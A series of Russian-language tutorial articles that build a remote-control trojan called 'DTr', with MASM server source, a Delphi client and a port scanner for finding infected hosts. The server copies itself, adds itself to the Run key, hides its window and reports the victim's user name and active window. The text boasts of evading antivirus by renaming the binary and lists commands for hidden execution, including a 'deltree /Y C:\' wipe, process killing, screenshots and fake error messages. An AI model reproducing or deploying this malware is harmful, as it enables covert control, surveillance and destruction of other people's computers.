invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1

invoke CopyFile,addr CommandStr1,addr WinDir,FALSE

; Старт

invoke GetModuleHandle, NULL

mov hInstance,eax

invoke GetCommandLine

mov CommandLine,eax

invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT

quit: invoke ExitProcess,eax

;---------------------------------------

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

LOCAL wc:WNDCLASSEX

LOCAL msg:MSG

LOCAL hwnd:HWND

LOCAL Ver: OSVERSIONINFO

; Создадим окно для обработки сообщений

mov wc.cbSize,SIZEOF WNDCLASSEX

mov wc.style, CS_HREDRAW or CS_VREDRAW

mov wc.lpfnWndProc, OFFSET WndProc

mov wc.cbClsExtra,NULL

mov wc.cbWndExtra,NULL

push hInstance

pop wc.hInstance

mov wc.hbrBackground,COLOR_WINDOW

mov wc.lpszMenuName,NULL

mov wc.lpszClassName,OFFSET ClassName

invoke LoadIcon,hInstance,addr IconName

mov wc.hIcon,eax

mov wc.hIconSm,eax

invoke LoadCursor,NULL,IDC_ARROW

mov wc.hCursor,eax

invoke RegisterClassEx, addr wc

invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW, 500,400,100,50,NULL,NULL,hInst,NULL

mov hwnd,eax

; Показать окно (для отладки)

;invoke ShowWindow, hwnd,SW_SHOWNORMAL

;invoke UpdateWindow, hwnd

; Инициализация сокета

invoke WSAStartup, 101h,addr wsadata

invoke socket,AF_INET,SOCK_STREAM, 0

mov sock,eax

invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT FD_READ

mov sin.sin_family,AF_INET

invoke htons,Port

mov sin.sin_port,ax

mov sin.sin_addr,INADDR_ANY

invoke bind, sock,addr sin,sizeof sin

invoke listen,sock, 15

; Получение версии m$ window$

mov Ver.dwOSVersionInfoSize, SizeOf Ver

invoke GetVersionEx, addr Ver

.IF Ver.dwPlatformId == VER_PLATFORM_WIN32s

invoke lstrcpy,addr VerStr, addr WinVer1

mov VerDD, 0

.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS

invoke lstrcpy,addr VerStr, addr WinVer3

mov VerDD, 1

.ELSEIF Ver.dwPlatformId == VER_PLATFORM_WIN32_NT

invoke lstrcpy,addr VerStr, addr WinVer2

mov VerDD, 0

.ENDIF

; Обработка сообщений

.WHILE TRUE

invoke GetMessage, ADDR msg,NULL, 0,0

.BREAK.IF (!eax)

invoke TranslateMessage, ADDR msg

invoke DispatchMessage, ADDR msg

.ENDW

mov eax,msg.wParam

DTRexit:

ret

WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

LOCAL RezBool: DWORD

LOCAL I0: DWORD

LOCAL I1: LPDWORD

LOCAL SHFdop1: FILEOP_FLAGS

LOCAL Temp1: LPBYTE

LOCAL Temp2: LPDWORD

.IF uMsg == WM_CREATE

.ELSEIF uMsg == WM_DESTROY

invoke closesocket,sock

invoke WSACleanup

invoke PostQuitMessage,NULL

; Сообщения от сокета

.ELSEIF uMsg == WM_SOCKET

mov eax,lParam

; Соединение

.IF ax == FD_ACCEPT

shr ax, 16

.IF ax == NULL

; При соединении отправим клиенту информацию о системе

invoke accept,sock, 0,0

mov client,eax

invoke lstrcpy, addr BufStr0, addr NilStr

invoke rtrim, addr BufStr0, addr BufStr0

invoke lstrcat, addr BufStr0, addr VerStr

invoke send,client,addr BufStr0,sizeof BufStr0,0

invoke Sleep, 10

.ENDIF

; Получения команды от клиента

.ELSEIF ax == FD_READ

; Обнулим буфер для получения

mov ecx, 6666

mov edi,offset BufStr1

lll: mov byte ptr [edi],0

inc edi

loop lll

mov eax,wParam

mov client,eax

; Получим команду и данные в BufStr1

invoke recv,client,addr BufStr1,sizeof BufStr1,0

.IF eax == SOCKET_ERROR

invoke recv,client,addr BufStr1,sizeof BufStr1,0

.ENDIF

.IF eax!= SOCKET_ERROR

mov edi,offset BufStr1

invoke lstrcpy, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr ListFileStr000

; Полученная команда — «helo»

.IF (dword ptr [edi] == «oleh»)

invoke lstrcat, addr BufStr0, addr VerStr

invoke lstrcat, addr BufStr0, addr ListFileStr000

; Получение каталога винды

invoke GetWindowsDirectory, addr WinDir, sizeof WinDir

invoke lstrcat, addr BufStr0, addr WinStr1

invoke lstrcat, addr BufStr0, addr WinDir

invoke lstrcat, addr BufStr0, addr ListFileStr000

; Получение системного каталога

invoke GetSystemDirectory, addr WinDir, sizeof WinDir

invoke lstrcat, addr BufStr0, addr WinStr3

invoke lstrcat, addr BufStr0, addr WinDir

invoke lstrcat, addr BufStr0, addr ListFileStr000

.IF (VerDD == 1)

; Получение временного каталога

invoke GetTempPath, 2048, addr WinDir

invoke lstrcat, addr BufStr0, addr WinStr2

invoke lstrcat, addr BufStr0, addr WinDir

invoke lstrcat, addr BufStr0, addr ListFileStr000

; Получение имени пользователя

invoke GetUserName, addr CommandStr1, I0

invoke lstrcat, addr BufStr0, addr WinStr4

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ENDIF

; Получение активного приложения

invoke GetForegroundWindow

mov ActWin, eax

.IF ActWin!= 0

invoke SendMessage, ActWin, WM_GETTEXT, 1024, addr WinDir

invoke lstrcat, addr BufStr0, addr ActWin1

invoke lstrcat, addr BufStr0, addr WinDir

invoke lstrcat, addr BufStr0, addr ListFileStr000

; Получение текущей языковой раскладки

invoke GetWindowThreadProcessId, ActWin, NULL

invoke GetKeyboardLayout, eax

mov Lang, eax

.IF Lang == 67699721

invoke lstrcat, addr BufStr0, addr DopLang3

.ELSEIF Lang == 68748313

invoke lstrcat, addr BufStr0, addr DopLang2

.ELSE

invoke lstrcat, addr BufStr0, addr DopLang1

.ENDIF

.ENDIF

invoke send,client,addr BufStr0, sizeof BufStr0, 0

invoke Sleep, 10

jmp endREAD

.ENDIF

; РАЗДЕЛ ОБРАБОТКИ BufStr1, выполнения нужных действий

; и отправка сформированного BufStr0

endREAD:

.ENDIF

.ENDIF

.ELSEIF

invoke DefWindowProc,hWnd,uMsg,wParam,lParam

ret

.ENDIF

xor eax,eax

ret

WndProc endp

END start

После компиляции у нас должен появиться файл «dtr13_s.exe». Пару слов о том, как это все работает. При запуске программы она записывает в реестр параметр «nbsession» со значением «nb003.exe» в ключе «HKLM/SoftWare/Microsoft/Windows/Current Version/Run» — для старта вместе с m$ window$. ВНИМАНИЕ! Если система WinNT и пользователь не администратор, то облом — энтюха не пустит в HKLM. Потом переписывает себя в каталог, получает значение порта из переменной «SysValue» в ключе «Software\Microsoft\DTr003\», инициализирует сокет с получением сообщений при соединении и чтении, получает версию винды, создает скрытое окно и запускает цикл обработки сообщений. Этот скелет сервера может реагировать на соединение и на прием команды «helo».

Теперь нужно написать клиент. Для клиента размер не важен, а хочется сделать все красиво — для себя стараемся. Клиент пишем на Delphi 5. По моему мнению, самая удобная среда создания программ, хотя размеры, РАЗМЕРЫ… Запускаем Delphi, вверху в меню ищем «File», нажимаем «Close All», «New Application». У нас появилась форма — главное окно нашей программы. Теперь туда вставим объекты Memo («Memo1»), два Edit («Edit1», «Edit2»), Button («Button1»). Все с раздела «Standart». «Memo1» нужен для отображения сообщений сервера, «Edit1» — адрес сервера, «Edit2» — порт и «Button1» — для соединения/рассоединения. Для посылки серверу команд, будем использовать кнопки с объекта «ToolBar» (закладка «Win32»). После расположения на форме «ToolBar1», click-нем по нему правой кнопкой мыши, и выберем «New Button». Этой кнопкой мы будем посылать серверу команду «helo». Объекты «Memo1» и «ToolBar1» сделаем невидимыми (слева в «Properties», «Visible» = «false»). Теперь с закладки «Internet» кинем на форму объект «ClientSocket» — «

ClientSocket1». Выделим его и перейдем в список событий — «Object Inspector» -> «Events». Нас интересуют 4 события: при соединении, при ошибке, при рассоединении и при чтении. Это onConnect, onError, onDisconnect и onRead соответственно. Два раза нажимаем на каждом, на наш «Button1» и на кнопку в «ToolButton1». Чтобы избежать всяких накладок и т. п., созадим очередь приходящих сообщений. Для этого надо создать список с указателем на начало, конец и процесс обработки списка. Для преобразования имени сервера в IP-адрес, необходимо добавить «WinSock» в раздел «uses».

Вот исходники («Unit1.pas»):

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ScktComp, ComCtrls, ToolWin, StdCtrls, WinSock;

type

TForm1 = class (TForm)

Edit1: TEdit;

Edit2: TEdit;

Memo1: TMemo;

Button1: TButton;

ToolBar1: TToolBar;

ToolButton1: TToolButton;

ClientSocket1: TClientSocket;

procedure ClientSocket1Connect (Sender: TObject; Socket: TCustomWinSocket);

procedure ClientSocket1Disconnect (Sender: TObject; Socket: TCustomWinSocket);

procedure ClientSocket1Error (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);

procedure Button1Click (Sender: TObject);

procedure ToolButton1Click (Sender: TObject);

procedure ClientSocket1Read (Sender: TObject; Socket: TCustomWinSocket);

private

{ Private declarations }

public

{ Public declarations }

end;

// Типы для преобразования адреса

type

TaPInAddr = array [0.. 255] of PInAddr;

PaPInAddr = ^TaPInAddr;

var

Form1: TForm1;

constat: Boolean = false;

ph: PHostEnt;

pptr: PaPInAddr;

DopStr: string;

I: Integer;

implementation

type

TRecvThread = class (TThread) // процесс обработки списка

private

procedure CommandRecvThread;

protected

procedure Execute; override;

end;

TLstRecv = ^ TListRecv; // список

TListRecv = record

BufIn: array[1.. 6666] of Char;

Point: TLstRecv;

end;

var

// Указатели на начало и конец списка

LstRbeg,LstRend: TLstRecv;

RecvThread: TRecvThread;

{$R *.DFM}

// Соединение

procedure TForm1.ClientSocket1Connect (Sender: TObject; Socket: TCustomWinSocket);

begin

constat:= true;

with Form1 do

begin

Memo1.Visible:= true;

ToolBar1.Visible:= true;

Button1.Caption:= 'DISconnect';

end;

end;

// Рассоединение

procedure TForm1.ClientSocket1Disconnect (Sender: TObject; Socket: TCustomWinSocket);

begin

constat:= false;

with Form1 do

begin

Caption:= 'КЛИЕНТ';

Memo1.Visible:= false;

ToolBar1.Visible:= false;

Button1.Caption:= 'Connect';

end;

end;

// Ошибка

procedure TForm1.ClientSocket1Error (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);

begin

Form1.ClientSocket1Disconnect (Sender, Socket);

end;

// Подготовка соединения и инициализация сокета

procedure TForm1.Button1Click (Sender: TObject);

begin

if not constat then

begin

try

Form1.ClientSocket1.Port:= StrToInt (Form1.Edit2.Text);

DopStr:= Form1.Edit1.Text;

//преобразование имени сервера в IP-адрес

if inet_addr (PChar (Form1.Edit1.Text)) <= 0 then

begin

ph:= gethostbyname (PChar (Form1.Edit1.Text));

if ph = nil then

begin

Application.MessageBox (PChar ('Неизвестный адрес «' Form1.Edit1.Text '» или компьютер с указанным именем находится off-line.'), 'СООБЩЕНИЕ', mb_Ok mb_TaskModal mb_IconAsterisk);

exit;

end;

DopStr:= '';

pptr:= PaPInAddr (ph^.h_addr_list);

I:= 0;

while pptr^[I] nil do

begin

DopStr:= inet_ntoa (pptr^[0]^);

inc (i);

if DopStr '' then

if Application.MessageBox (PChar ('По указанному Вами пути найден IP-адрес «' DopStr '». Соедениться по этому адресу?' #13 #13′ В случае если не будет найдено других IP-адресов, произойдет соединение по последнему полученному.'), 'DNS', mb_YesNo mb_IconQuestion mb_TaskModal) = idYes then

break;

end;

end;

if DopStr = '' then

begin

Application.MessageBox (PChar ('Неизвестный адрес «' Form1.Edit1.Text '» или компьютер с указанным именем находится off-line.'), 'СООБЩЕНИЕ', mb_Ok mb_TaskModal mb_IconAsterisk);

exit;

end;

// запуск процесса обработки очереди

LstRbeg:= nil;

LstRend:= nil;

try

RecvThread:= TRecvThread.Create (false);

except

Application.MessageBox ('Ошибка создания процесса обработки полученных сообщений. Программа не будет реагировать на полученные сообщения. Выйдите из программы и попробуйте запустить заново.', '', mb_Ok mb_TaskModal mb_IconStop);

end;

Application.ProcessMessages;

ClientSocket1.Address:= DopStr;

ClientSocket1.Active:= true;

Form1.Caption:= 'КЛИЕНТ connect [' Form1.Edit1.Text ']';

except

ClientSocket1.Active:= false;

end;

end

else

ClientSocket1.Active:= false;

end;

// Послать команду серверу

procedure TForm1.ToolButton1Click (Sender: TObject);

begin

Form1.ClientSocket1.Socket.SendText ('helo');

end;

// Получение команды

procedure TForm1.ClientSocket1Read (Sender: TObject; Socket: TCustomWinSocket);

var

LstRdop1 TLstRecv;

begin

RecvThread.Suspend;

New (LstRdop1);

FillChar (LstRdop1^.BufIn, 6666,0);

Socket.ReceiveBuf (LstRdop1^.BufIn, 6666);

LstRdop1^.Point:= nil;

if LstRend nil then

begin

LstRend^.Point:= LstRdop1;

LstRend:= LstRdop1;

end

else

LstRend:= LstRDop1;

if LstRbeg = nil then

LstRbeg:= LstRDop1;

RecvThread.Resume;

end;

// Инициализация процесса обработки очереди

procedure TRecvThread.Execute;

begin

// цикл обработки очереди

while not RecvThread.Terminated do

begin

Application.ProcessMessages;

Synchronize (CommandRecvThread);

Sleep (100);

end;

end;

// обработка очереди

procedure TRecvThread.CommandRecvThread;

var

LstRdop: TLstRecv;

DopS: string;

label

ex;

begin

LstRdop:= LstRbeg;

if LstRdop nil then

begin

try

DopS:= '';

DopS:= LstRdop^.BufIn;

// высветить в Memo1

if trim (DopS) '' then

Form1.Memo1.Lines.Add (DopS #13);

ex:

finally

if LstRDop^.Point nil then

LstRbeg:= LstRDop^.Point

else

LstRbeg:= nil;

if LstRbeg = nil then

LstRend:= nil;

Dispose (LstRdop);

end;

end;

end;

end.

Клиент и сервер будут работать на системах Win-9x/ME/NT. На win2000 работать не будет — нет некоторых функций. Также необходим установленный протокол TCP/IP. Проверим все это. Запустим сервер. Запустим клиент. В элементе управления «Edit1» укажем 127.0.0.1. В «Edit2» — 10001. Нажмем «Button1». Если руки не кривые, то должно появиться сообщение о системе сервера. Соединение произошло. Нажмем кнопку, посылающую серверу команду «helo». Все, проверка закончена.

P. S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

{/codecitation}

{codecitation class="brush: pascal; gutter: false;" width="600px"}

Автор: Danil

WEB-сайт: http://www.danil.dp.ua

— В чем заключается многозадачность Windows?

— Она глючит и работает одновременно.

Начнем с отзывов. Во-первых, спасибо за положительные. Во-вторых, я допустил ошибку, а никто и не увидел. Процесс обработки очереди надо все-таки терминайтить. Но об этом далее. В-третьих, комментариев в коде вполне достаточно. Я так пишу. Охоту к написанию комментариев у меня отбили еще в универе. А если не можешь разобраться, так нафига вообще трепыхаться — ходи на порно-сайты и дыши с присвистом. В-четвертых, объясню почему сервер писался на асме. На это есть 6 причин:

Быстродействие. Все равно быстрее будет работать чем на сях и delphi (не говоря уже о тормознутом визуал бейсике. Такой язык надо в школе изучать — это надо ж, грузить dll-и и запускать с них функции);

Размеры. 11 kb «всунуть» в что-то все таки легче чем, например, 100;

Если мы пишем на асме, то имеем дело с ошибками своими и мелкософта, а не с глюками программера из фирмы Borland. Взять хотя-бы «RadioGroup» в Delphi;

В ранних версиях «DTr», периодически возникала ошибка 10060 асинхронной работы. Только на некоторых компьютерах, но все-таки. Написание сервера на сях не помогло. После выхода версии на асме и сооружения в клиенте процесса обработки очереди приходящих сообщений, у меня еще такой ошибки не возникало;

В своих продуктах фирмы по производству программного обеспечения, любят при ошибке вызывать исключительную ситуацию, на что виндоуз реагирует показом «красивого» окошка с сообщением об ошибке. Некоторые такие реакции не подавляются try-except. Для сервера это, мягко сказать, нежелательно. В асме все проще;

Для борьбы с буржуйскими программами с помощью WINdasm, SoftIce и т. п., ассемблер надо знать. А для того чтобы его знать, на нем иногда надо писать. Завести 2-ой комп и бегать, смотреть на одном окно SoftIce, а на другом доки — это сильно круто.

Теперь продолжим разговор о нашем клиенте. Как я уже говорил, процесс обработки очереди при разсоединении и выходе из проги надо прерывать. Для этого модифицируем нашу процедуру «ClientSocket1Disconnect», вставив в нее вот такой код:

if not RecvThread.Terminated then

begin

while not RecvThread.Terminated do

begin

try

RecvThread.Terminate;

except

end;

sleep (100);

Application.ProcessMessages;

end;

end;

LstRbeg:=nil;

LstRend:=nil;

Также нас интересует событие, происходящее перед выходом из клиента. Выделим нашу форму («Form1»), перейдем в «Object Inspector» на закладку «Events» и 2 раза «click»-нем по «onClose». Перейдем в раздел кода и запишем:

// Выход из проги

procedure TForm1.FormClose (Sender: TObject; var Action: TCloseAction);

begin

Action:= caNone;

if constat then

Form1.Button1Click (Sender);

Application.ProcessMessages;

Application.Terminate;

Halt (1);

end;

Теперь поговорим о визуализации и удобстве работы с клиентом. Кнопки, которые отвечают за посылание серверу команд, надо как-то выделить. Для этого воспользуемся объектом «ImageList» с закладки «Win32» («ImageList1»). Помещаем его на форму и с помощью правой кнопки мыши добавляем в него изображения для кнопок. Теперь нужно выделить «ToolBar1» и в его свойстве «Images», из всплывающего списка, поставить «ImageList1». После этого перейдем на «ToolButton1», в свойстве «ImageIndex», выберем нужный рисунок. Для отображения «всплывающей» подсказки в свойстве «ShowHint» поставим «true», а в свойстве «Hint», напишем «Кнопка № 1». Очень информативно.

Сканер для сервера.

Допустим, мы знаем, что серверная часть запущена у человека (это звучит гордо), пользующегося услуами провайдера «Slow». Мы также знаем пространство адресов этого провайдера. Но мы не знаем, какой адрес даст провайдер этому челу.

Или у нас есть локалка. Почему-то иногда прога путает адреса на плюс-минус два. Почему — до сих пор не знаю (данная проблема была замечена не мной), но если кто знает, то пусть отпишет в «Отзывы».

Или мы изменили порт, а какой забыли.

Для всего этого нам нужен сканер по адресам и портам. То, о чем пойдет речь далее, можно использовать не только для нашего сервера. Итак, в Delphi, в проекте нашего сервера, выбираем в верхнем меню «File»-->"New Form". Пусть это будет «Form2». В свойстве «Caption» пишем «Сканер». Размещаем на форме компоненты:

Edit1

С какого порта начинать сканирование;

Edit2

По какой порт;

Edit3

Первые 3 цифры адреса в виде «xxx.xxx.xxx.xxx» (без точки в конце);

Edit4, Edit5

Диапазон последней цифры адреса;

Edit6

Время ожидания соединения (в секундах);

Button1

Начать/прекратить сканирование;

Memo1

Отчет сканирования;

ProgressBar1, ProgressBar2 (Win32)

Для визуализации процесса перебора по адресам и портам соответственно;

ClientSocket1

И так понятно.

Теперь на «Form1» лепим кнопку, обзываем ее «Scaner» и нажимаем на ней два раза. В разделе кода пишем:

// Scaner

procedure TForm1.Button2Click (Sender: TObject);

begin

Form2.WindowState:= wsNormal;

Form2.Visible:= true;

Form2.SetFocus;

end;

В раздел «uses» добавляем «Unit2». Переходим на «Form2». Два раза нажимаем на «Button1», на события «onConnect» и «onError» в «ClientSocket1» и на «onClose» в «Form2». Вот текст модуля «Unit2.pas»:

unit Unit2;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, StdCtrls, ScktComp;

type

TForm2 = class (TForm)

Edit1: TEdit;

Edit2: TEdit;

Edit3: TEdit;

Edit4: TEdit;

Edit5: TEdit;

Edit6: TEdit;

Button1: TButton;

Memo1: TMemo;

ProgressBar1: TProgressBar;

ProgressBar2: TProgressBar;

ClientSocket1: TClientSocket;

procedure FormClose (Sender: TObject; var Action: TCloseAction);

procedure Button1Click (Sender: TObject);

procedure ClientSocket1Error (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);

procedure ClientSocket1Connect (Sender: TObject; Socket: TCustomWinSocket);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form2: TForm2;

Rez11: Boolean = false;

Bool: Boolean = false;

implementation

{$R *.DFM}

//Close Scaner

procedure TForm2.FormClose (Sender: TObject; var Action: TCloseAction);

begin

// если запущен, то прерываем процесс

if Rez11 then

begin

Action:= caNone;

Form2.Button1Click (Sender);

end;

end;

// Включить/отключить сканер

procedure TForm2.Button1Click (Sender: TObject);

var

I, J, K: Integer;

DopStr: string;

begin

if Rez11 then

begin

// прервать сканирование

if Application.MessageBox ('Прервать сканирование?', 'Сканер', mb_YesNo mb_IconQuestion) = idYes then

begin

Rez11:= false;

Bool:= false;

end;

end

else

begin

// запуск сканера

if StrToInt (Form2.Edit2.Text) < StrToInt(Form2.Edit1.Text) then

begin

Application.MessageBox ('Неверно указан диапазон для портов','Сканер', mb_Ok mb_IconStop);

exit;

end;

if StrToInt (Form2.Edit5.Text) < StrToInt(Form2.Edit4.Text) then

begin

Application.MessageBox ('Неверно указан диапазон IP-адресов','Сканер', mb_Ok mb_IconStop);

exit;

end;

Form2.Caption:='Идет сканирование…';

Form2.Memo1.Lines.Clear;

try

DopStr:= trim (Form2.Edit3.Text);

Rez11:= true;

Form2.Button1.Caption:= 'Отмена';

Form2.Memo1.Lines.Add ('-------------' #13 #10′===========');

// начальные значения для порта и адреса

I:= StrToInt (Form2.Edit1.Text);

J:= StrToInt (Form2.Edit4.Text);

try

Form2.ProgressBar1.Max:= StrToInt (Form2.Edit2.Text) — StrToInt (Form2.Edit2.Text) 2;

Form2.ProgressBar1.Position:= 1;

Form2.ProgressBar2.Max:= StrToInt (Form2.Edit5.Text) — StrToInt (Form2.Edit4.Text) 2;

Form2.ProgressBar2.Position:= 1;

// цикл по адресам

while I <= StrToInt(Form2.Edit2.Text) do

begin

J:= StrToInt (Form2.Edit4.Text);

// цикл по портам

while J <= StrToInt(Form2.Edit5.Text) do

begin

Application.ProcessMessages;

if not Rez11 then

break;

Form2.ClientSocket1.Active:= false;

Form2.ClientSocket1.Port:= I;

Form2.ClientSocket1.Address:= trim (DopStr) '.' trim (IntToStr (J));

try

// попытка соедениться

Form2.ClientSocket1.Active:= true;

Application.ProcessMessages;

// время ожидания

Bool:= true;

K:= round (StrToInt (Form2.Edit6.Text) * 1000 / 50);

while Bool do

begin

Sleep (50);

Application.ProcessMessages;

dec (K);

if K=0 then

begin

try

Form2.ClientSocket1.Active:=false;

except

end;

break;

end;

end;

except

end;

Application.ProcessMessages;

Form2.ProgressBar2.Position:= Form2.ProgressBar2.Position 1;

inc (J);

end;

inc (I);

Application.ProcessMessages;

if not Rez11 then

break;

Form2.ProgressBar1.Position:= Form2.ProgressBar1.Position 1;

end;

Form2.ProgressBar2.Position:= Form2.ProgressBar1.Position 1;

Form2.ProgressBar1.Position:= Form2.ProgressBar1.Position 1;

except

Application.MessageBox ('Ошибка выполнения операции', 'Сканер', MB_Ok mb_IconStop);

end;

Form2.Button1.Caption:= 'Сканер';

Form2.ProgressBar1.Position:= 0;

Form2.ProgressBar2.Position:= 0;

Form2.Caption:= 'Сканер по адресам и портам';

if Rez11 then

begin

Application.MessageBox ('Процедура сканирования по адресам и портам закончена.', 'Сканер', mb_Ok mb_IconAsterisk);

Form2.Memo1.Lines.Add ('-----------------' #13 #10′========== ВСЕ АДРЕСА И ПОРТЫ ОТСКАНИРОВАНЫ' #13 #10 #13 #10);

Rez11:= false;

end

else

Form2.Memo1.Lines.Add ('------------' #13 #10′============== ПРЕРВАНО НА порт-' IntToStr (I) ', адрес-' trim (DopStr) '.' IntToStr (J-1) #13 #10 #13 #10);

except

Application.MessageBox ('Ошибка инициализации процесса.','Сканер',mb_Ok mb_IconStop);

end;

Form2.Caption:='Сканер по адресам и портам';

end;

end;

// Есть ответ сервера

procedure TForm2.ClientSocket1Connect (Sender: TObject; Socket: TCustomWinSocket);

begin

// если соеденились вывести сообщение

Form2.Memo1.Lines.Add ('***' #13 #10′Порт: ' IntToStr (Form2.ClientSocket1.Port) ' ' 'Адрес: ' Form2.ClientSocket1.Address ' — ЕСТЬ ОТВЕТ' #13 #10);

Application.ProcessMessages;

// прервать время ожидания

try

Form2.ClientSocket1.Active:= false;

except

end;

Bool:= false;

end;

// Ошибка при соединении

procedure TForm2.ClientSocket1Error (Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);

begin

// прервать время ожидания если ошибка

ErrorCode:= 0;

Bool:= false;

end;

end.

Теперь проверим. Запускаем сервер и клиент. Жмем кнопку «Сканер». В «Edit1» пишем «10001», в «Edit2» — «10001», в «Edit3» — «127.0.0», в «Edit4» — «1», в «Edit5» — «254», в «Edit6» — «1». Все значения без кавычек. Жмем нашу кнопку начала сканирования. Все, проверка закончена.

P. S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

{/codecitation}

{codecitation class="brush: pascal; gutter: false;" width="600px"}

Автор: Danil

WEB-сайт: http://www.danil.dp.ua

Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки….. На экране надпись «А вы уверены?»

Как все наверное знают, DrWeb и AVP уже начали определять мою прогу «DTr» v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил «проверить на вшивость». Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: «я забыла сопротивляться». Эти «супер» антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, «internat.exe»? Кстати имя приложения изменяется в 118 строке в значении константы «AppName» в исходниках (см. ниже).

В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду — там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я «освещу» клиент на «чистом» Delphi.

Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно — изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.

В сервере замечены баги на Win95, при перезагрузке компа и т. п. Об этом я также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не отличаются. Принцип был один: работает — и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число — под NT выдавала какой-то бред.

КОМАНДЫ «DTr» v.1.3:

Некоторые обозначения:

_#13_ — символ с кодом 13;

— параметры команды (без).

Команды чуствительны к регистру — «helo» и «HeLo» не одно и то же.

Проверка связи. Команда «helo». Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т. д.

Файловый менеджер. Команда "ld ". Требует от сервера вернуть список файлов и директорий, находящихся в. Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит «[[[ListFile _#13_» для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера.

ПРИМЕР:

«ld C:\WINDOWS\»

Список запущенных процессов на удаленном компьютере. Команда «lp». Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте).

Прервать процесс. Команда «dp „. Прерывает процесс. № (для Win9x/ME) или ID (WinNT) — из списка процессов (смю выше). Требует дополнительную DLL.

ПРИМЕР:

“dp 2»

Перегрузить удаленный комп. Команда «rbt». Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так:

procedure ReBoot;

var

hToken: THandle;

tkp: TTokenPrivileges;

RetLen: DWORD;

PreviousState: TTokenPrivileges;

Ver: TOsVersionInfo;

begin

try

Ver.dwOSVersionInfoSize:= SizeOf (Ver);

GetVersionEx (Ver);

if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then

g>begin // если WinNT

if not OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then

exit;

if not LookupPrivilegeValue (nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then

exit;

PreviousState:= tkp;

tkp.PrivilegeCount:= 1;

tkp.Privileges[0].Attributes:= SE_PRIVILEGE_ENABLED;

if not (AdjustTokenPrivileges (hToken, FALSE, tkp, SizeOf (PreviousState), PreviousState, RetLen)) then

exit;

end;

ExitWindows (EWX_REBOOT, 0); // перезагрузить

except

end;

end;

Выключить компьютер. Команда «sd». Работает только на Win9x/ME.

Запуск win-приложения. Команда «start _#13__#13_». Запускает приложение. Может запустить и связанный файл: например «*.doc».— способ запуска (число):

0: скрыто;

1: минимизировано;

2: нормально;

3: на весь экран.

ПРИМЕР:

«start C:\WINDOWS\1.doc_#13_#13_3»

Запуск DOS-приложения. Команда «startDOS _#13__#13_». Запускает приложение.— способ запуска (число).

ПРИМЕР:

«startDOS C:\WINDOWS\COMMAND\deltree.exe_#13_/Y C:\_#13_0»

Проверка дополнительной DLL. Команда «dll DTrTestDLL_#13_». Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки («dlll _#13_ „). Сервер должен вернуть или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL.

ПРИМЕР:

“dll DTrTestDLL_#13_ddddd»

Образ экрана. Команда «scr „. Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL.

ПРИМЕР:

“scr C:\scr.gif»

Высветить сообщение. «sm _#13_». Высветить сообщение.— иконка (число):

0: нету;

1: Stop;

2:!;

3:?;

4: Info.

ПРИМЕР:

«sm 1 Error_#13_System FAILURE»

Минимизировать и закрыть активное приложение. Команды «mnwn» и «clwn» соответсвенно.

